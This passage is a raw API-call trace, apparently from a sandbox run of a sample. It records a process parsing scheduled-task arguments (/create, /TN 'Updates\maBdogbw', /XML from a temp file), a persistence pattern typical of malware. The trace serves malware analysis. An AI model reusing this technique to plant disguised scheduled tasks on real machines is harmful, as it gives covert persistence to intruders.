returned 0 [0288.213] lstrlenW (lpString="TN") returned 2 [0288.213] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.213] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|ru|") returned 4 [0288.213] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.213] lstrlenW (lpString="|ru|") returned 4 [0288.213] lstrlenW (lpString="|TN|") returned 4 [0288.213] StrStrIW (lpFirst="|ru|", lpSrch="|TN|") returned 0x0 [0288.213] SetLastError (dwErrCode=0x490) [0288.214] lstrlenW (lpString="rp") returned 2 [0288.214] lstrlenW (lpString="rp") returned 2 [0288.214] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.214] lstrlenW (lpString="TN") returned 2 [0288.214] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.214] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|rp|") returned 4 [0288.214] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.214] lstrlenW (lpString="|rp|") returned 4 [0288.214] lstrlenW (lpString="|TN|") returned 4 [0288.214] StrStrIW (lpFirst="|rp|", lpSrch="|TN|") returned 0x0 [0288.214] SetLastError (dwErrCode=0x490) [0288.214] lstrlenW (lpString="sc") returned 2 [0288.214] lstrlenW (lpString="sc") returned 2 [0288.214] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.214] lstrlenW (lpString="TN") returned 2 [0288.214] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.214] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|sc|") returned 4 [0288.214] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.214] lstrlenW (lpString="|sc|") returned 4 [0288.214] lstrlenW (lpString="|TN|") returned 4 [0288.214] StrStrIW (lpFirst="|sc|", lpSrch="|TN|") returned 0x0 [0288.214] SetLastError (dwErrCode=0x490) [0288.214] lstrlenW (lpString="mo") returned 2 [0288.214] lstrlenW (lpString="mo") returned 2 [0288.214] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.215] lstrlenW (lpString="TN") returned 2 [0288.215] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.215] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|mo|") returned 4 [0288.215] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.215] lstrlenW (lpString="|mo|") returned 4 [0288.215] lstrlenW (lpString="|TN|") returned 4 [0288.215] StrStrIW (lpFirst="|mo|", lpSrch="|TN|") returned 0x0 [0288.215] SetLastError (dwErrCode=0x490) [0288.215] lstrlenW (lpString="d") returned 1 [0288.215] lstrlenW (lpString="d") returned 1 [0288.215] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.215] lstrlenW (lpString="TN") returned 2 [0288.215] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.215] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|d|") returned 3 [0288.215] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.215] lstrlenW (lpString="|d|") returned 3 [0288.215] lstrlenW (lpString="|TN|") returned 4 [0288.215] SetLastError (dwErrCode=0x490) [0288.215] lstrlenW (lpString="m") returned 1 [0288.215] lstrlenW (lpString="m") returned 1 [0288.215] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.215] lstrlenW (lpString="TN") returned 2 [0288.215] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.216] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|m|") returned 3 [0288.216] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.216] lstrlenW (lpString="|m|") returned 3 [0288.216] lstrlenW (lpString="|TN|") returned 4 [0288.216] SetLastError (dwErrCode=0x490) [0288.216] lstrlenW (lpString="i") returned 1 [0288.216] lstrlenW (lpString="i") returned 1 [0288.216] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.216] lstrlenW (lpString="TN") returned 2 [0288.216] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.216] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|i|") returned 3 [0288.216] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.216] lstrlenW (lpString="|i|") returned 3 [0288.216] lstrlenW (lpString="|TN|") returned 4 [0288.216] SetLastError (dwErrCode=0x490) [0288.216] lstrlenW (lpString="tn") returned 2 [0288.216] lstrlenW (lpString="tn") returned 2 [0288.216] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.216] lstrlenW (lpString="TN") returned 2 [0288.216] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.216] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|tn|") returned 4 [0288.216] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|TN|") returned 4 [0288.216] lstrlenW (lpString="|tn|") returned 4 [0288.216] lstrlenW (lpString="|TN|") returned 4 [0288.216] StrStrIW (lpFirst="|tn|", lpSrch="|TN|") returned="|tn|" [0288.217] SetLastError (dwErrCode=0x0) [0288.217] SetLastError (dwErrCode=0x0) [0288.217] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0288.217] lstrlenW (lpString="-/") returned 2 [0288.217] StrChrIW (lpStart="-/", wMatch=0x55) returned 0x0 [0288.217] SetLastError (dwErrCode=0x490) [0288.217] SetLastError (dwErrCode=0x490) [0288.217] SetLastError (dwErrCode=0x0) [0288.217] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0288.217] StrChrIW (lpStart="Updates\\maBdogbw", wMatch=0x3a) returned 0x0 [0288.217] SetLastError (dwErrCode=0x490) [0288.217] SetLastError (dwErrCode=0x0) [0288.217] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0288.217] SetLastError (dwErrCode=0x0) [0288.217] SetLastError (dwErrCode=0x0) [0288.217] lstrlenW (lpString="/XML") returned 4 [0288.217] lstrlenW (lpString="-/") returned 2 [0288.217] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0288.217] lstrlenW (lpString="create") returned 6 [0288.217] lstrlenW (lpString="create") returned 6 [0288.217] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.217] lstrlenW (lpString="XML") returned 3 [0288.217] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.217] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|create|") returned 8 [0288.217] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.217] lstrlenW (lpString="|create|") returned 8 [0288.217] lstrlenW (lpString="|XML|") returned 5 [0288.218] StrStrIW (lpFirst="|create|", lpSrch="|XML|") returned 0x0 [0288.218] SetLastError (dwErrCode=0x490) [0288.218] lstrlenW (lpString="?") returned 1 [0288.218] lstrlenW (lpString="?") returned 1 [0288.218] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.218] lstrlenW (lpString="XML") returned 3 [0288.218] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.218] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|?|") returned 3 [0288.218] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.218] lstrlenW (lpString="|?|") returned 3 [0288.218] lstrlenW (lpString="|XML|") returned 5 [0288.218] SetLastError (dwErrCode=0x490) [0288.218] lstrlenW (lpString="s") returned 1 [0288.218] lstrlenW (lpString="s") returned 1 [0288.218] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.218] lstrlenW (lpString="XML") returned 3 [0288.218] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.218] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|s|") returned 3 [0288.218] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.218] lstrlenW (lpString="|s|") returned 3 [0288.218] lstrlenW (lpString="|XML|") returned 5 [0288.218] SetLastError (dwErrCode=0x490) [0288.218] lstrlenW (lpString="u") returned 1 [0288.218] lstrlenW (lpString="u") returned 1 [0288.218] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.219] lstrlenW (lpString="XML") returned 3 [0288.219] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.219] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|u|") returned 3 [0288.219] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.219] lstrlenW (lpString="|u|") returned 3 [0288.219] lstrlenW (lpString="|XML|") returned 5 [0288.219] SetLastError (dwErrCode=0x490) [0288.219] lstrlenW (lpString="p") returned 1 [0288.219] lstrlenW (lpString="p") returned 1 [0288.219] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.219] lstrlenW (lpString="XML") returned 3 [0288.219] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.219] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|p|") returned 3 [0288.219] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.219] lstrlenW (lpString="|p|") returned 3 [0288.219] lstrlenW (lpString="|XML|") returned 5 [0288.219] SetLastError (dwErrCode=0x490) [0288.219] lstrlenW (lpString="ru") returned 2 [0288.219] lstrlenW (lpString="ru") returned 2 [0288.219] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.219] lstrlenW (lpString="XML") returned 3 [0288.219] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.219] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|ru|") returned 4 [0288.219] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.220] lstrlenW (lpString="|ru|") returned 4 [0288.220] lstrlenW (lpString="|XML|") returned 5 [0288.220] SetLastError (dwErrCode=0x490) [0288.220] lstrlenW (lpString="rp") returned 2 [0288.220] lstrlenW (lpString="rp") returned 2 [0288.220] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.220] lstrlenW (lpString="XML") returned 3 [0288.220] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.220] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|rp|") returned 4 [0288.220] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.220] lstrlenW (lpString="|rp|") returned 4 [0288.220] lstrlenW (lpString="|XML|") returned 5 [0288.220] SetLastError (dwErrCode=0x490) [0288.220] lstrlenW (lpString="sc") returned 2 [0288.220] lstrlenW (lpString="sc") returned 2 [0288.220] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.220] lstrlenW (lpString="XML") returned 3 [0288.220] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.220] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|sc|") returned 4 [0288.220] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.220] lstrlenW (lpString="|sc|") returned 4 [0288.220] lstrlenW (lpString="|XML|") returned 5 [0288.220] SetLastError (dwErrCode=0x490) [0288.220] lstrlenW (lpString="mo") returned 2 [0288.220] lstrlenW (lpString="mo") returned 2 [0288.221] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.221] lstrlenW (lpString="XML") returned 3 [0288.221] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.221] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|mo|") returned 4 [0288.221] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.221] lstrlenW (lpString="|mo|") returned 4 [0288.221] lstrlenW (lpString="|XML|") returned 5 [0288.221] SetLastError (dwErrCode=0x490) [0288.221] lstrlenW (lpString="d") returned 1 [0288.221] lstrlenW (lpString="d") returned 1 [0288.221] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.221] lstrlenW (lpString="XML") returned 3 [0288.221] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.221] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|d|") returned 3 [0288.221] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.221] lstrlenW (lpString="|d|") returned 3 [0288.221] lstrlenW (lpString="|XML|") returned 5 [0288.221] SetLastError (dwErrCode=0x490) [0288.221] lstrlenW (lpString="m") returned 1 [0288.221] lstrlenW (lpString="m") returned 1 [0288.221] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.221] lstrlenW (lpString="XML") returned 3 [0288.221] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.222] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|m|") returned 3 [0288.222] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.222] lstrlenW (lpString="|m|") returned 3 [0288.222] lstrlenW (lpString="|XML|") returned 5 [0288.222] SetLastError (dwErrCode=0x490) [0288.222] lstrlenW (lpString="i") returned 1 [0288.222] lstrlenW (lpString="i") returned 1 [0288.222] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.222] lstrlenW (lpString="XML") returned 3 [0288.222] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.222] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|i|") returned 3 [0288.222] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.222] lstrlenW (lpString="|i|") returned 3 [0288.222] lstrlenW (lpString="|XML|") returned 5 [0288.222] SetLastError (dwErrCode=0x490) [0288.222] lstrlenW (lpString="tn") returned 2 [0288.222] lstrlenW (lpString="tn") returned 2 [0288.222] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.222] lstrlenW (lpString="XML") returned 3 [0288.222] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.222] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|tn|") returned 4 [0288.222] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.222] lstrlenW (lpString="|tn|") returned 4 [0288.222] lstrlenW (lpString="|XML|") returned 5 [0288.222] SetLastError (dwErrCode=0x490) [0288.223] lstrlenW (lpString="tr") returned 2 [0288.223] lstrlenW (lpString="tr") returned 2 [0288.223] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.223] lstrlenW (lpString="XML") returned 3 [0288.223] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.223] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|tr|") returned 4 [0288.223] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.223] lstrlenW (lpString="|tr|") returned 4 [0288.223] lstrlenW (lpString="|XML|") returned 5 [0288.223] SetLastError (dwErrCode=0x490) [0288.223] lstrlenW (lpString="st") returned 2 [0288.223] lstrlenW (lpString="st") returned 2 [0288.223] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.223] lstrlenW (lpString="XML") returned 3 [0288.223] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.223] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|st|") returned 4 [0288.223] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.223] lstrlenW (lpString="|st|") returned 4 [0288.223] lstrlenW (lpString="|XML|") returned 5 [0288.223] SetLastError (dwErrCode=0x490) [0288.223] lstrlenW (lpString="sd") returned 2 [0288.223] lstrlenW (lpString="sd") returned 2 [0288.223] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.224] lstrlenW (lpString="XML") returned 3 [0288.224] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.224] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|sd|") returned 4 [0288.224] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.224] lstrlenW (lpString="|sd|") returned 4 [0288.224] lstrlenW (lpString="|XML|") returned 5 [0288.224] SetLastError (dwErrCode=0x490) [0288.224] lstrlenW (lpString="ed") returned 2 [0288.224] lstrlenW (lpString="ed") returned 2 [0288.224] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.224] lstrlenW (lpString="XML") returned 3 [0288.224] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.224] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|ed|") returned 4 [0288.224] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.224] lstrlenW (lpString="|ed|") returned 4 [0288.224] lstrlenW (lpString="|XML|") returned 5 [0288.224] SetLastError (dwErrCode=0x490) [0288.224] lstrlenW (lpString="it") returned 2 [0288.224] lstrlenW (lpString="it") returned 2 [0288.224] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.224] lstrlenW (lpString="XML") returned 3 [0288.224] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.224] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|it|") returned 4 [0288.224] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.224] lstrlenW (lpString="|it|") returned 4 [0288.225] lstrlenW (lpString="|XML|") returned 5 [0288.225] SetLastError (dwErrCode=0x490) [0288.225] lstrlenW (lpString="et") returned 2 [0288.225] lstrlenW (lpString="et") returned 2 [0288.225] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.225] lstrlenW (lpString="XML") returned 3 [0288.225] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.225] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|et|") returned 4 [0288.225] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.225] lstrlenW (lpString="|et|") returned 4 [0288.225] lstrlenW (lpString="|XML|") returned 5 [0288.225] SetLastError (dwErrCode=0x490) [0288.225] lstrlenW (lpString="k") returned 1 [0288.225] lstrlenW (lpString="k") returned 1 [0288.225] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.225] lstrlenW (lpString="XML") returned 3 [0288.225] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.225] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|k|") returned 3 [0288.225] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.225] lstrlenW (lpString="|k|") returned 3 [0288.225] lstrlenW (lpString="|XML|") returned 5 [0288.225] SetLastError (dwErrCode=0x490) [0288.225] lstrlenW (lpString="du") returned 2 [0288.225] lstrlenW (lpString="du") returned 2 [0288.225] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.226] lstrlenW (lpString="XML") returned 3 [0288.226] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.226] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|du|") returned 4 [0288.226] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.226] lstrlenW (lpString="|du|") returned 4 [0288.226] lstrlenW (lpString="|XML|") returned 5 [0288.226] SetLastError (dwErrCode=0x490) [0288.226] lstrlenW (lpString="ri") returned 2 [0288.226] lstrlenW (lpString="ri") returned 2 [0288.226] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.226] lstrlenW (lpString="XML") returned 3 [0288.226] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.226] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|ri|") returned 4 [0288.226] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.226] lstrlenW (lpString="|ri|") returned 4 [0288.226] lstrlenW (lpString="|XML|") returned 5 [0288.226] SetLastError (dwErrCode=0x490) [0288.226] lstrlenW (lpString="z") returned 1 [0288.226] lstrlenW (lpString="z") returned 1 [0288.226] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.226] lstrlenW (lpString="XML") returned 3 [0288.226] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.226] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|z|") returned 3 [0288.227] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.227] lstrlenW (lpString="|z|") returned 3 [0288.227] lstrlenW (lpString="|XML|") returned 5 [0288.227] SetLastError (dwErrCode=0x490) [0288.227] lstrlenW (lpString="f") returned 1 [0288.227] lstrlenW (lpString="f") returned 1 [0288.227] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.227] lstrlenW (lpString="XML") returned 3 [0288.227] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.227] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|f|") returned 3 [0288.227] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.227] lstrlenW (lpString="|f|") returned 3 [0288.227] lstrlenW (lpString="|XML|") returned 5 [0288.227] SetLastError (dwErrCode=0x490) [0288.227] lstrlenW (lpString="v1") returned 2 [0288.227] lstrlenW (lpString="v1") returned 2 [0288.227] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.227] lstrlenW (lpString="XML") returned 3 [0288.227] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.227] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|v1|") returned 4 [0288.227] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.227] lstrlenW (lpString="|v1|") returned 4 [0288.227] lstrlenW (lpString="|XML|") returned 5 [0288.227] SetLastError (dwErrCode=0x490) [0288.227] lstrlenW (lpString="xml") returned 3 [0288.228] lstrlenW (lpString="xml") returned 3 [0288.228] _memicmp (_Buf1=0x505288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.228] lstrlenW (lpString="XML") returned 3 [0288.228] _memicmp (_Buf1=0x5052b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0288.228] _vsnwprintf (in: _Buffer=0x505928, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|xml|") returned 5 [0288.228] _vsnwprintf (in: _Buffer=0x5058e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x24c920 | out: _Buffer="|XML|") returned 5 [0288.228] lstrlenW (lpString="|xml|") returned 5 [0288.228] lstrlenW (lpString="|XML|") returned 5 [0288.228] StrStrIW (lpFirst="|xml|", lpSrch="|XML|") returned="|xml|" [0288.228] SetLastError (dwErrCode=0x0) [0288.228] SetLastError (dwErrCode=0x0) [0288.228] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.228] lstrlenW (lpString="-/") returned 2 [0288.228] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0288.228] SetLastError (dwErrCode=0x490) [0288.228] SetLastError (dwErrCode=0x490) [0288.228] SetLastError (dwErrCode=0x0) [0288.228] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6692.tmp") returned 49 [0288.228] StrChrIW 